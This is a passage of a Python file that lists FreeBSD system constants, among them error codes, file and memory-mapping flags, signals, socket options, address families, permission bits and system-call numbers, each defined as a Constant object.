Constant('EREMOTE',71)\nEBADRPC = Constant('EBADRPC',72)\nERPCMISMATCH = Constant('ERPCMISMATCH',73)\nEPROGUNAVAIL = Constant('EPROGUNAVAIL',74)\nEPROGMISMATCH = Constant('EPROGMISMATCH',75)\nEPROCUNAVAIL = Constant('EPROCUNAVAIL',76)\nENOLCK = Constant('ENOLCK',77)\nENOSYS = Constant('ENOSYS',78)\nEFTYPE = Constant('EFTYPE',79)\nEAUTH = Constant('EAUTH',80)\nENEEDAUTH = Constant('ENEEDAUTH',81)\nEIDRM = Constant('EIDRM',82)\nENOMSG = Constant('ENOMSG',83)\nEOVERFLOW = Constant('EOVERFLOW',84)\nECANCELED = Constant('ECANCELED',85)\nEILSEQ = Constant('EILSEQ',86)\nENOATTR = Constant('ENOATTR',87)\nEDOOFUS = Constant('EDOOFUS',88)\nEBADMSG = Constant('EBADMSG',89)\nEMULTIHOP = Constant('EMULTIHOP',90)\nENOLINK = Constant('ENOLINK',91)\nEPROTO = Constant('EPROTO',92)\nENOTCAPABLE = Constant('ENOTCAPABLE',93)\nECAPMODE = Constant('ECAPMODE',94)\nELAST = Constant('ELAST',94)\nO_RDONLY = Constant('O_RDONLY',0x0000)\nO_WRONLY = Constant('O_WRONLY',0x0001)\nO_RDWR = Constant('O_RDWR',0x0002)\nO_ACCMODE = Constant('O_ACCMODE',0x0003)\nFREAD = Constant('FREAD',0x0001)\nFWRITE = Constant('FWRITE',0x0002)\nO_NONBLOCK = Constant('O_NONBLOCK',0x0004)\nO_APPEND = Constant('O_APPEND',0x0008)\nO_SHLOCK = Constant('O_SHLOCK',0x0010)\nO_EXLOCK = Constant('O_EXLOCK',0x0020)\nO_ASYNC = Constant('O_ASYNC',0x0040)\nO_FSYNC = Constant('O_FSYNC',0x0080)\nO_SYNC = Constant('O_SYNC',0x0080)\nO_NOFOLLOW = Constant('O_NOFOLLOW',0x0100)\nO_CREAT = Constant('O_CREAT',0x0200)\nO_TRUNC = Constant('O_TRUNC',0x0400)\nO_EXCL = Constant('O_EXCL',0x0800)\nO_NOCTTY = Constant('O_NOCTTY',0x8000)\nO_DIRECT = Constant('O_DIRECT',0x00010000)\nO_DIRECTORY = Constant('O_DIRECTORY',0x00020000)\nO_EXEC = Constant('O_EXEC',0x00040000)\nO_TTY_INIT = Constant('O_TTY_INIT',0x00080000)\nO_CLOEXEC = Constant('O_CLOEXEC',0x00100000)\nFAPPEND = Constant('FAPPEND',0x0008)\nFASYNC = Constant('FASYNC',0x0040)\nFFSYNC = Constant('FFSYNC',0x0080)\nFNONBLOCK = Constant('FNONBLOCK',0x0004)\nFNDELAY = Constant('FNDELAY',0x0004)\nO_NDELAY = Constant('O_NDELAY',0x0004)\nFRDAHEAD = Constant('FRDAHEAD',0x0200)\nAT_FDCWD = Constant('AT_FDCWD',-100)\nAT_EACCESS = Constant('AT_EACCESS',0x100)\nAT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x200)\nAT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400)\nAT_REMOVEDIR = Constant('AT_REMOVEDIR',0x800)\nF_DUPFD = Constant('F_DUPFD',0)\nF_GETFD = Constant('F_GETFD',1)\nF_SETFD = Constant('F_SETFD',2)\nF_GETFL = Constant('F_GETFL',3)\nF_SETFL = Constant('F_SETFL',4)\nF_GETOWN = Constant('F_GETOWN',5)\nF_SETOWN = Constant('F_SETOWN',6)\nF_OGETLK = Constant('F_OGETLK',7)\nF_OSETLK = Constant('F_OSETLK',8)\nF_OSETLKW = Constant('F_OSETLKW',9)\nF_DUP2FD = Constant('F_DUP2FD',10)\nF_GETLK = Constant('F_GETLK',11)\nF_SETLK = Constant('F_SETLK',12)\nF_SETLKW = Constant('F_SETLKW',13)\nF_SETLK_REMOTE = Constant('F_SETLK_REMOTE',14)\nF_READAHEAD = Constant('F_READAHEAD',15)\nF_RDAHEAD = Constant('F_RDAHEAD',16)\nF_DUPFD_CLOEXEC = Constant('F_DUPFD_CLOEXEC',17)\nF_DUP2FD_CLOEXEC = Constant('F_DUP2FD_CLOEXEC',18)\nFD_CLOEXEC = Constant('FD_CLOEXEC',1)\nF_RDLCK = Constant('F_RDLCK',1)\nF_UNLCK = Constant('F_UNLCK',2)\nF_WRLCK = Constant('F_WRLCK',3)\nF_UNLCKSYS = Constant('F_UNLCKSYS',4)\nF_CANCEL = Constant('F_CANCEL',5)\nLOCK_SH = Constant('LOCK_SH',0x01)\nLOCK_EX = Constant('LOCK_EX',0x02)\nLOCK_NB = Constant('LOCK_NB',0x04)\nLOCK_UN = Constant('LOCK_UN',0x08)\nPOSIX_FADV_NORMAL = Constant('POSIX_FADV_NORMAL',0)\nPOSIX_FADV_RANDOM = Constant('POSIX_FADV_RANDOM',1)\nPOSIX_FADV_SEQUENTIAL = Constant('POSIX_FADV_SEQUENTIAL',2)\nPOSIX_FADV_WILLNEED = Constant('POSIX_FADV_WILLNEED',3)\nPOSIX_FADV_DONTNEED = Constant('POSIX_FADV_DONTNEED',4)\nPOSIX_FADV_NOREUSE = Constant('POSIX_FADV_NOREUSE',5)\nINHERIT_SHARE = Constant('INHERIT_SHARE',0)\nINHERIT_COPY = Constant('INHERIT_COPY',1)\nINHERIT_NONE = Constant('INHERIT_NONE',2)\nPROT_NONE = Constant('PROT_NONE',0x00)\nPROT_READ = Constant('PROT_READ',0x01)\nPROT_WRITE = Constant('PROT_WRITE',0x02)\nPROT_EXEC = Constant('PROT_EXEC',0x04)\nMAP_SHARED = Constant('MAP_SHARED',0x0001)\nMAP_PRIVATE = Constant('MAP_PRIVATE',0x0002)\nMAP_COPY = Constant('MAP_COPY',0x0002)\nMAP_FIXED = Constant('MAP_FIXED',0x0010)\nMAP_RENAME = Constant('MAP_RENAME',0x0020)\nMAP_NORESERVE = Constant('MAP_NORESERVE',0x0040)\nMAP_RESERVED0080 = Constant('MAP_RESERVED0080',0x0080)\nMAP_RESERVED0100 = Constant('MAP_RESERVED0100',0x0100)\nMAP_HASSEMAPHORE = Constant('MAP_HASSEMAPHORE',0x0200)\nMAP_STACK = Constant('MAP_STACK',0x0400)\nMAP_NOSYNC = Constant('MAP_NOSYNC',0x0800)\nMAP_FILE = Constant('MAP_FILE',0x0000)\nMAP_ANON = Constant('MAP_ANON',0x1000)\nMAP_ANONYMOUS = Constant('MAP_ANONYMOUS',0x1000)\nMAP_NOCORE = Constant('MAP_NOCORE',0x00020000)\nMAP_PREFAULT_READ = Constant('MAP_PREFAULT_READ',0x00040000)\nMCL_CURRENT = Constant('MCL_CURRENT',0x0001)\nMCL_FUTURE = Constant('MCL_FUTURE',0x0002)\nMS_SYNC = Constant('MS_SYNC',0x0000)\nMS_ASYNC = Constant('MS_ASYNC',0x0001)\nMS_INVALIDATE = Constant('MS_INVALIDATE',0x0002)\n_MADV_NORMAL = Constant('_MADV_NORMAL',0)\n_MADV_RANDOM = Constant('_MADV_RANDOM',1)\n_MADV_SEQUENTIAL = Constant('_MADV_SEQUENTIAL',2)\n_MADV_WILLNEED = Constant('_MADV_WILLNEED',3)\n_MADV_DONTNEED = Constant('_MADV_DONTNEED',4)\nMADV_NORMAL = Constant('MADV_NORMAL',0)\nMADV_RANDOM = Constant('MADV_RANDOM',1)\nMADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',2)\nMADV_WILLNEED = Constant('MADV_WILLNEED',3)\nMADV_DONTNEED = Constant('MADV_DONTNEED',4)\nMADV_FREE = Constant('MADV_FREE',5)\nMADV_NOSYNC = Constant('MADV_NOSYNC',6)\nMADV_AUTOSYNC = Constant('MADV_AUTOSYNC',7)\nMADV_NOCORE = Constant('MADV_NOCORE',8)\nMADV_CORE = Constant('MADV_CORE',9)\nMADV_PROTECT = Constant('MADV_PROTECT',10)\nMINCORE_INCORE = Constant('MINCORE_INCORE',0x1)\nMINCORE_REFERENCED = Constant('MINCORE_REFERENCED',0x2)\nMINCORE_MODIFIED = Constant('MINCORE_MODIFIED',0x4)\nMINCORE_REFERENCED_OTHER = Constant('MINCORE_REFERENCED_OTHER',0x8)\nMINCORE_MODIFIED_OTHER = Constant('MINCORE_MODIFIED_OTHER',0x10)\nPOSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0)\nPOSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',1)\nPOSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',2)\nPOSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',3)\nPOSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',4)\nSIGHUP = Constant('SIGHUP',1)\nSIGINT = Constant('SIGINT',2)\nSIGQUIT = Constant('SIGQUIT',3)\nSIGILL = Constant('SIGILL',4)\nSIGTRAP = Constant('SIGTRAP',5)\nSIGABRT = Constant('SIGABRT',6)\nSIGIOT = Constant('SIGIOT',6)\nSIGEMT = Constant('SIGEMT',7)\nSIGFPE = Constant('SIGFPE',8)\nSIGKILL = Constant('SIGKILL',9)\nSIGBUS = Constant('SIGBUS',10)\nSIGSEGV = Constant('SIGSEGV',11)\nSIGSYS = Constant('SIGSYS',12)\nSIGPIPE = Constant('SIGPIPE',13)\nSIGALRM = Constant('SIGALRM',14)\nSIGTERM = Constant('SIGTERM',15)\nSIGURG = Constant('SIGURG',16)\nSIGSTOP = Constant('SIGSTOP',17)\nSIGTSTP = Constant('SIGTSTP',18)\nSIGCONT = Constant('SIGCONT',19)\nSIGCHLD = Constant('SIGCHLD',20)\nSIGTTIN = Constant('SIGTTIN',21)\nSIGTTOU = Constant('SIGTTOU',22)\nSIGIO = Constant('SIGIO',23)\nSIGXCPU = Constant('SIGXCPU',24)\nSIGXFSZ = Constant('SIGXFSZ',25)\nSIGVTALRM = Constant('SIGVTALRM',26)\nSIGPROF = Constant('SIGPROF',27)\nSIGWINCH = Constant('SIGWINCH',28)\nSIGINFO = Constant('SIGINFO',29)\nSIGUSR1 = Constant('SIGUSR1',30)\nSIGUSR2 = Constant('SIGUSR2',31)\nSIGTHR = Constant('SIGTHR',32)\nSIGLWP = Constant('SIGLWP',32)\nSIGRTMIN = Constant('SIGRTMIN',65)\nSIGRTMAX = Constant('SIGRTMAX',126)\nSIGEV_NONE = Constant('SIGEV_NONE',0)\nSIGEV_SIGNAL = Constant('SIGEV_SIGNAL',1)\nSIGEV_THREAD = Constant('SIGEV_THREAD',2)\nSIGEV_KEVENT = Constant('SIGEV_KEVENT',3)\nSIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4)\nILL_ILLOPC = Constant('ILL_ILLOPC',1)\nILL_ILLOPN = Constant('ILL_ILLOPN',2)\nILL_ILLADR = Constant('ILL_ILLADR',3)\nILL_ILLTRP = Constant('ILL_ILLTRP',4)\nILL_PRVOPC = Constant('ILL_PRVOPC',5)\nILL_PRVREG = Constant('ILL_PRVREG',6)\nILL_COPROC = Constant('ILL_COPROC',7)\nILL_BADSTK = Constant('ILL_BADSTK',8)\nBUS_ADRALN = Constant('BUS_ADRALN',1)\nBUS_ADRERR = Constant('BUS_ADRERR',2)\nBUS_OBJERR = Constant('BUS_OBJERR',3)\nSEGV_MAPERR = Constant('SEGV_MAPERR',1)\nSEGV_ACCERR = Constant('SEGV_ACCERR',2)\nFPE_INTOVF = Constant('FPE_INTOVF',1)\nFPE_INTDIV = Constant('FPE_INTDIV',2)\nFPE_FLTDIV = Constant('FPE_FLTDIV',3)\nFPE_FLTOVF = Constant('FPE_FLTOVF',4)\nFPE_FLTUND = Constant('FPE_FLTUND',5)\nFPE_FLTRES = Constant('FPE_FLTRES',6)\nFPE_FLTINV = Constant('FPE_FLTINV',7)\nFPE_FLTSUB = Constant('FPE_FLTSUB',8)\nTRAP_BRKPT = Constant('TRAP_BRKPT',1)\nTRAP_TRACE = Constant('TRAP_TRACE',2)\nTRAP_DTRACE = Constant('TRAP_DTRACE',3)\nCLD_EXITED = Constant('CLD_EXITED',1)\nCLD_KILLED = Constant('CLD_KILLED',2)\nCLD_DUMPED = Constant('CLD_DUMPED',3)\nCLD_TRAPPED = Constant('CLD_TRAPPED',4)\nCLD_STOPPED = Constant('CLD_STOPPED',5)\nCLD_CONTINUED = Constant('CLD_CONTINUED',6)\nPOLL_IN = Constant('POLL_IN',1)\nPOLL_OUT = Constant('POLL_OUT',2)\nPOLL_MSG = Constant('POLL_MSG',3)\nPOLL_ERR = Constant('POLL_ERR',4)\nPOLL_PRI = Constant('POLL_PRI',5)\nPOLL_HUP = Constant('POLL_HUP',6)\nSA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x0008)\nSA_ONSTACK = Constant('SA_ONSTACK',0x0001)\nSA_RESTART = Constant('SA_RESTART',0x0002)\nSA_RESETHAND = Constant('SA_RESETHAND',0x0004)\nSA_NODEFER = Constant('SA_NODEFER',0x0010)\nSA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x0020)\nSA_SIGINFO = Constant('SA_SIGINFO',0x0040)\nNSIG = Constant('NSIG',32)\nSI_NOINFO = Constant('SI_NOINFO',0)\nSI_USER = Constant('SI_USER',0x10001)\nSI_QUEUE = Constant('SI_QUEUE',0x10002)\nSI_TIMER = Constant('SI_TIMER',0x10003)\nSI_ASYNCIO = Constant('SI_ASYNCIO',0x10004)\nSI_MESGQ = Constant('SI_MESGQ',0x10005)\nSI_KERNEL = Constant('SI_KERNEL',0x10006)\nSI_LWP = Constant('SI_LWP',0x10007)\nSI_UNDEFINED = Constant('SI_UNDEFINED',0)\nSS_ONSTACK = Constant('SS_ONSTACK',0x0001)\nSS_DISABLE = Constant('SS_DISABLE',0x0004)\nSV_ONSTACK = Constant('SV_ONSTACK',0x0001)\nSV_INTERRUPT = Constant('SV_INTERRUPT',0x0002)\nSV_RESETHAND = Constant('SV_RESETHAND',0x0004)\nSV_NODEFER = Constant('SV_NODEFER',0x0010)\nSV_NOCLDSTOP = Constant('SV_NOCLDSTOP',0x0008)\nSV_SIGINFO = Constant('SV_SIGINFO',0x0040)\nSIG_BLOCK = Constant('SIG_BLOCK',1)\nSIG_UNBLOCK = Constant('SIG_UNBLOCK',2)\nSIG_SETMASK = Constant('SIG_SETMASK',3)\nSOCK_STREAM = Constant('SOCK_STREAM',1)\nSOCK_DGRAM = Constant('SOCK_DGRAM',2)\nSOCK_RAW = Constant('SOCK_RAW',3)\nSOCK_RDM = Constant('SOCK_RDM',4)\nSOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5)\nSO_DEBUG = Constant('SO_DEBUG',0x0001)\nSO_ACCEPTCONN = Constant('SO_ACCEPTCONN',0x0002)\nSO_REUSEADDR = Constant('SO_REUSEADDR',0x0004)\nSO_KEEPALIVE = Constant('SO_KEEPALIVE',0x0008)\nSO_DONTROUTE = Constant('SO_DONTROUTE',0x0010)\nSO_BROADCAST = Constant('SO_BROADCAST',0x0020)\nSO_USELOOPBACK = Constant('SO_USELOOPBACK',0x0040)\nSO_LINGER = Constant('SO_LINGER',0x0080)\nSO_OOBINLINE = Constant('SO_OOBINLINE',0x0100)\nSO_REUSEPORT = Constant('SO_REUSEPORT',0x0200)\nSO_TIMESTAMP = Constant('SO_TIMESTAMP',0x0400)\nSO_NOSIGPIPE = Constant('SO_NOSIGPIPE',0x0800)\nSO_ACCEPTFILTER = Constant('SO_ACCEPTFILTER',0x1000)\nSO_BINTIME = Constant('SO_BINTIME',0x2000)\nSO_NO_OFFLOAD = Constant('SO_NO_OFFLOAD',0x4000)\nSO_NO_DDP = Constant('SO_NO_DDP',0x8000)\nSO_SNDBUF = Constant('SO_SNDBUF',0x1001)\nSO_RCVBUF = Constant('SO_RCVBUF',0x1002)\nSO_SNDLOWAT = Constant('SO_SNDLOWAT',0x1003)\nSO_RCVLOWAT = Constant('SO_RCVLOWAT',0x1004)\nSO_SNDTIMEO = Constant('SO_SNDTIMEO',0x1005)\nSO_RCVTIMEO = Constant('SO_RCVTIMEO',0x1006)\nSO_ERROR = Constant('SO_ERROR',0x1007)\nSO_TYPE = Constant('SO_TYPE',0x1008)\nSO_LABEL = Constant('SO_LABEL',0x1009)\nSO_PEERLABEL = Constant('SO_PEERLABEL',0x1010)\nSO_LISTENQLIMIT = Constant('SO_LISTENQLIMIT',0x1011)\nSO_LISTENQLEN = Constant('SO_LISTENQLEN',0x1012)\nSO_LISTENINCQLEN = Constant('SO_LISTENINCQLEN',0x1013)\nSO_SETFIB = Constant('SO_SETFIB',0x1014)\nSO_USER_COOKIE = Constant('SO_USER_COOKIE',0x1015)\nSO_PROTOCOL = Constant('SO_PROTOCOL',0x1016)\nSO_PROTOTYPE = Constant('SO_PROTOTYPE',0x1016)\nSO_VENDOR = Constant('SO_VENDOR',0x80000000)\nSOL_SOCKET = Constant('SOL_SOCKET',0xffff)\nAF_UNSPEC = Constant('AF_UNSPEC',0)\nAF_UNIX = Constant('AF_UNIX',1)\nAF_INET = Constant('AF_INET',2)\nAF_IMPLINK = Constant('AF_IMPLINK',3)\nAF_PUP = Constant('AF_PUP',4)\nAF_CHAOS = Constant('AF_CHAOS',5)\nAF_NETBIOS = Constant('AF_NETBIOS',6)\nAF_ISO = Constant('AF_ISO',7)\nAF_OSI = Constant('AF_OSI',7)\nAF_ECMA = Constant('AF_ECMA',8)\nAF_DATAKIT = Constant('AF_DATAKIT',9)\nAF_CCITT = Constant('AF_CCITT',10)\nAF_SNA = Constant('AF_SNA',11)\nAF_DECnet = Constant('AF_DECnet',12)\nAF_DLI = Constant('AF_DLI',13)\nAF_LAT = Constant('AF_LAT',14)\nAF_HYLINK = Constant('AF_HYLINK',15)\nAF_APPLETALK = Constant('AF_APPLETALK',16)\nAF_ROUTE = Constant('AF_ROUTE',17)\nAF_LINK = Constant('AF_LINK',18)\npseudo_AF_XTP = Constant('pseudo_AF_XTP',19)\nAF_COIP = Constant('AF_COIP',20)\nAF_CNT = Constant('AF_CNT',21)\npseudo_AF_RTIP = Constant('pseudo_AF_RTIP',22)\nAF_IPX = Constant('AF_IPX',23)\nAF_SIP = Constant('AF_SIP',24)\npseudo_AF_PIP = Constant('pseudo_AF_PIP',25)\nAF_ISDN = Constant('AF_ISDN',26)\nAF_E164 = Constant('AF_E164',26)\npseudo_AF_KEY = Constant('pseudo_AF_KEY',27)\nAF_INET6 = Constant('AF_INET6',28)\nAF_NATM = Constant('AF_NATM',29)\nAF_ATM = Constant('AF_ATM',30)\npseudo_AF_HDRCMPLT = Constant('pseudo_AF_HDRCMPLT',31)\nAF_NETGRAPH = Constant('AF_NETGRAPH',32)\nAF_SLOW = Constant('AF_SLOW',33)\nAF_SCLUSTER = Constant('AF_SCLUSTER',34)\nAF_ARP = Constant('AF_ARP',35)\nAF_BLUETOOTH = Constant('AF_BLUETOOTH',36)\nAF_IEEE80211 = Constant('AF_IEEE80211',37)\nAF_MAX = Constant('AF_MAX',38)\nAF_VENDOR00 = Constant('AF_VENDOR00',39)\nAF_VENDOR01 = Constant('AF_VENDOR01',41)\nAF_VENDOR02 = Constant('AF_VENDOR02',43)\nAF_VENDOR03 = Constant('AF_VENDOR03',45)\nAF_VENDOR04 = Constant('AF_VENDOR04',47)\nAF_VENDOR05 = Constant('AF_VENDOR05',49)\nAF_VENDOR06 = Constant('AF_VENDOR06',51)\nAF_VENDOR07 = Constant('AF_VENDOR07',53)\nAF_VENDOR08 = Constant('AF_VENDOR08',55)\nAF_VENDOR09 = Constant('AF_VENDOR09',57)\nAF_VENDOR10 = Constant('AF_VENDOR10',59)\nAF_VENDOR11 = Constant('AF_VENDOR11',61)\nAF_VENDOR12 = Constant('AF_VENDOR12',63)\nAF_VENDOR13 = Constant('AF_VENDOR13',65)\nAF_VENDOR14 = Constant('AF_VENDOR14',67)\nAF_VENDOR15 = Constant('AF_VENDOR15',69)\nAF_VENDOR16 = Constant('AF_VENDOR16',71)\nAF_VENDOR17 = Constant('AF_VENDOR17',73)\nAF_VENDOR18 = Constant('AF_VENDOR18',75)\nAF_VENDOR19 = Constant('AF_VENDOR19',77)\nAF_VENDOR20 = Constant('AF_VENDOR20',79)\nAF_VENDOR21 = Constant('AF_VENDOR21',81)\nAF_VENDOR22 = Constant('AF_VENDOR22',83)\nAF_VENDOR23 = Constant('AF_VENDOR23',85)\nAF_VENDOR24 = Constant('AF_VENDOR24',87)\nAF_VENDOR25 = Constant('AF_VENDOR25',89)\nAF_VENDOR26 = Constant('AF_VENDOR26',91)\nAF_VENDOR27 = Constant('AF_VENDOR27',93)\nAF_VENDOR28 = Constant('AF_VENDOR28',95)\nAF_VENDOR29 = Constant('AF_VENDOR29',97)\nAF_VENDOR30 = Constant('AF_VENDOR30',99)\nAF_VENDOR31 = Constant('AF_VENDOR31',101)\nAF_VENDOR32 = Constant('AF_VENDOR32',103)\nAF_VENDOR33 = Constant('AF_VENDOR33',105)\nAF_VENDOR34 = Constant('AF_VENDOR34',107)\nAF_VENDOR35 = Constant('AF_VENDOR35',109)\nAF_VENDOR36 = Constant('AF_VENDOR36',111)\nAF_VENDOR37 = Constant('AF_VENDOR37',113)\nAF_VENDOR38 = Constant('AF_VENDOR38',115)\nAF_VENDOR39 = Constant('AF_VENDOR39',117)\nAF_VENDOR40 = Constant('AF_VENDOR40',119)\nAF_VENDOR41 = Constant('AF_VENDOR41',121)\nAF_VENDOR42 = Constant('AF_VENDOR42',123)\nAF_VENDOR43 = Constant('AF_VENDOR43',125)\nAF_VENDOR44 = Constant('AF_VENDOR44',127)\nAF_VENDOR45 = Constant('AF_VENDOR45',129)\nAF_VENDOR46 = Constant('AF_VENDOR46',131)\nAF_VENDOR47 = Constant('AF_VENDOR47',133)\nSOCK_MAXADDRLEN = Constant('SOCK_MAXADDRLEN',255)\nPF_UNSPEC = Constant('PF_UNSPEC',0)\nPF_LOCAL = Constant('PF_LOCAL',1)\nPF_UNIX = Constant('PF_UNIX',1)\nPF_INET = Constant('PF_INET',2)\nPF_IMPLINK = Constant('PF_IMPLINK',3)\nPF_PUP = Constant('PF_PUP',4)\nPF_CHAOS = Constant('PF_CHAOS',5)\nPF_NETBIOS = Constant('PF_NETBIOS',6)\nPF_ISO = Constant('PF_ISO',7)\nPF_OSI = Constant('PF_OSI',7)\nPF_ECMA = Constant('PF_ECMA',8)\nPF_DATAKIT = Constant('PF_DATAKIT',9)\nPF_CCITT = Constant('PF_CCITT',10)\nPF_SNA = Constant('PF_SNA',11)\nPF_DECnet = Constant('PF_DECnet',12)\nPF_DLI = Constant('PF_DLI',13)\nPF_LAT = Constant('PF_LAT',14)\nPF_HYLINK = Constant('PF_HYLINK',15)\nPF_APPLETALK = Constant('PF_APPLETALK',16)\nPF_ROUTE = Constant('PF_ROUTE',17)\nPF_LINK = Constant('PF_LINK',18)\nPF_XTP = Constant('PF_XTP',19)\nPF_COIP = Constant('PF_COIP',20)\nPF_CNT = Constant('PF_CNT',21)\nPF_SIP = Constant('PF_SIP',24)\nPF_IPX = Constant('PF_IPX',23)\nPF_RTIP = Constant('PF_RTIP',22)\nPF_PIP = Constant('PF_PIP',25)\nPF_ISDN = Constant('PF_ISDN',26)\nPF_KEY = Constant('PF_KEY',27)\nPF_INET6 = Constant('PF_INET6',28)\nPF_NATM = Constant('PF_NATM',29)\nPF_ATM = Constant('PF_ATM',30)\nPF_NETGRAPH = Constant('PF_NETGRAPH',32)\nPF_SLOW = Constant('PF_SLOW',33)\nPF_SCLUSTER = Constant('PF_SCLUSTER',34)\nPF_ARP = Constant('PF_ARP',35)\nPF_BLUETOOTH = Constant('PF_BLUETOOTH',36)\nPF_MAX = Constant('PF_MAX',38)\nNET_MAXID = Constant('NET_MAXID',38)\nNET_RT_DUMP = Constant('NET_RT_DUMP',1)\nNET_RT_FLAGS = Constant('NET_RT_FLAGS',2)\nNET_RT_IFLIST = Constant('NET_RT_IFLIST',3)\nNET_RT_IFMALIST = Constant('NET_RT_IFMALIST',4)\nNET_RT_IFLISTL = Constant('NET_RT_IFLISTL',5)\nNET_RT_MAXID = Constant('NET_RT_MAXID',6)\nSOMAXCONN = Constant('SOMAXCONN',128)\nMSG_OOB = Constant('MSG_OOB',0x1)\nMSG_PEEK = Constant('MSG_PEEK',0x2)\nMSG_DONTROUTE = Constant('MSG_DONTROUTE',0x4)\nMSG_EOR = Constant('MSG_EOR',0x8)\nMSG_TRUNC = Constant('MSG_TRUNC',0x10)\nMSG_CTRUNC = Constant('MSG_CTRUNC',0x20)\nMSG_WAITALL = Constant('MSG_WAITALL',0x40)\nMSG_NOTIFICATION = Constant('MSG_NOTIFICATION',0x2000)\nMSG_DONTWAIT = Constant('MSG_DONTWAIT',0x80)\nMSG_EOF = Constant('MSG_EOF',0x100)\nMSG_NBIO = Constant('MSG_NBIO',0x4000)\nMSG_COMPAT = Constant('MSG_COMPAT',0x8000)\nMSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x20000)\nCMGROUP_MAX = Constant('CMGROUP_MAX',16)\nSCM_RIGHTS = Constant('SCM_RIGHTS',0x01)\nSCM_TIMESTAMP = Constant('SCM_TIMESTAMP',0x02)\nSCM_CREDS = Constant('SCM_CREDS',0x03)\nSCM_BINTIME = Constant('SCM_BINTIME',0x04)\nSHUT_RD = Constant('SHUT_RD',0)\nSHUT_WR = Constant('SHUT_WR',1)\nSHUT_RDWR = Constant('SHUT_RDWR',2)\nPRU_FLUSH_RD = Constant('PRU_FLUSH_RD',0)\nPRU_FLUSH_WR = Constant('PRU_FLUSH_WR',1)\nPRU_FLUSH_RDWR = Constant('PRU_FLUSH_RDWR',2)\nSF_NODISKIO = Constant('SF_NODISKIO',0x00000001)\nSF_MNOWAIT = Constant('SF_MNOWAIT',0x00000002)\nSF_SYNC = Constant('SF_SYNC',0x00000004)\nS_ISUID = Constant('S_ISUID',0o004000)\nS_ISGID = Constant('S_ISGID',0o002000)\nS_ISTXT = Constant('S_ISTXT',0o001000)\nS_IRWXU = Constant('S_IRWXU',0o000700)\nS_IRUSR = Constant('S_IRUSR',0o000400)\nS_IWUSR = Constant('S_IWUSR',0o000200)\nS_IXUSR = Constant('S_IXUSR',0o000100)\nS_IREAD = Constant('S_IREAD',0o000400)\nS_IWRITE = Constant('S_IWRITE',0o000200)\nS_IEXEC = Constant('S_IEXEC',0o000100)\nS_IRWXG = Constant('S_IRWXG',0o000070)\nS_IRGRP = Constant('S_IRGRP',0o000040)\nS_IWGRP = Constant('S_IWGRP',0o000020)\nS_IXGRP = Constant('S_IXGRP',0o000010)\nS_IRWXO = Constant('S_IRWXO',0o000007)\nS_IROTH = Constant('S_IROTH',0o000004)\nS_IWOTH = Constant('S_IWOTH',0o000002)\nS_IXOTH = Constant('S_IXOTH',0o000001)\nS_IFMT = Constant('S_IFMT',0o170000)\nS_IFIFO = Constant('S_IFIFO',0o010000)\nS_IFCHR = Constant('S_IFCHR',0o020000)\nS_IFDIR = Constant('S_IFDIR',0o040000)\nS_IFBLK = Constant('S_IFBLK',0o060000)\nS_IFREG = Constant('S_IFREG',0o100000)\nS_IFLNK = Constant('S_IFLNK',0o120000)\nS_IFSOCK = Constant('S_IFSOCK',0o140000)\nS_ISVTX = Constant('S_ISVTX',0o001000)\nS_IFWHT = Constant('S_IFWHT',0o160000)\nACCESSPERMS = Constant('ACCESSPERMS',(0o000700|0o000070|0o000007))\nALLPERMS = Constant('ALLPERMS',(0o004000|0o002000|0o001000|0o000700|0o000070|0o000007))\nDEFFILEMODE = Constant('DEFFILEMODE',(0o000400|0o000200|0o000040|0o000020|0o000004|0o000002))\nS_BLKSIZE = Constant('S_BLKSIZE',512)\nUF_SETTABLE = Constant('UF_SETTABLE',0x0000ffff)\nUF_NODUMP = Constant('UF_NODUMP',0x00000001)\nUF_IMMUTABLE = Constant('UF_IMMUTABLE',0x00000002)\nUF_APPEND = Constant('UF_APPEND',0x00000004)\nUF_OPAQUE = Constant('UF_OPAQUE',0x00000008)\nUF_NOUNLINK = Constant('UF_NOUNLINK',0x00000010)\nSF_SETTABLE = Constant('SF_SETTABLE',0xffff0000)\nSF_ARCHIVED = Constant('SF_ARCHIVED',0x00010000)\nSF_IMMUTABLE = Constant('SF_IMMUTABLE',0x00020000)\nSF_APPEND = Constant('SF_APPEND',0x00040000)\nSF_NOUNLINK = Constant('SF_NOUNLINK',0x00100000)\nSF_SNAPSHOT = Constant('SF_SNAPSHOT',0x00200000)\nSYS_syscall = Constant('SYS_syscall',0)\nSYS_exit = Constant('SYS_exit',1)\nSYS_fork = Constant('SYS_fork',2)\nSYS_read = Constant('SYS_read',3)\nSYS_write = Constant('SYS_write',4)\nSYS_open = Constant('SYS_open',5)\nSYS_close = Constant('SYS_close',6)\nSYS_wait4 = Constant('SYS_wait4',7)\nSYS_link = Constant('SYS_link',9)\nSYS_unlink = Constant('SYS_unlink',10)\nSYS_chdir = Constant('SYS_chdir',12)\nSYS_fchdir = Constant('SYS_fchdir',13)\nSYS_mknod = Constant('SYS_mknod',14)\nSYS_chmod = Constant('SYS_chmod',15)\nSYS_chown = Constant('SYS_chown',16)\nSYS_break = Constant('SYS_break',17)\nSYS_freebsd4_getfsstat = Constant('SYS_freebsd4_getfsstat',18)\nSYS_getpid = Constant('SYS_getpid',20)\nSYS_mount = Constant('SYS_mount',21)\nSYS_unmount = Constant('SYS_unmount',22)\nSYS_setuid = Constant('SYS_setuid',23)\nSYS_getuid = Constant('SYS_getuid',24)\nSYS_geteuid = Constant('SYS_geteuid',25)\nSYS_ptrace = Constant('SYS_ptrace',26)\nSYS_recvmsg = Constant('SYS_recvmsg',27)\nSYS_sendmsg = Constant('SYS_sendmsg',28)\nSYS_recvfrom = Constant('SYS_recvfrom',29)\nSYS_accept = Constant('SYS_accept',30)\nSYS_getpeername = Constant('SYS_getpeername',31)\nSYS_getsockname = Constant('SYS_getsockname',32)\nSYS_access = 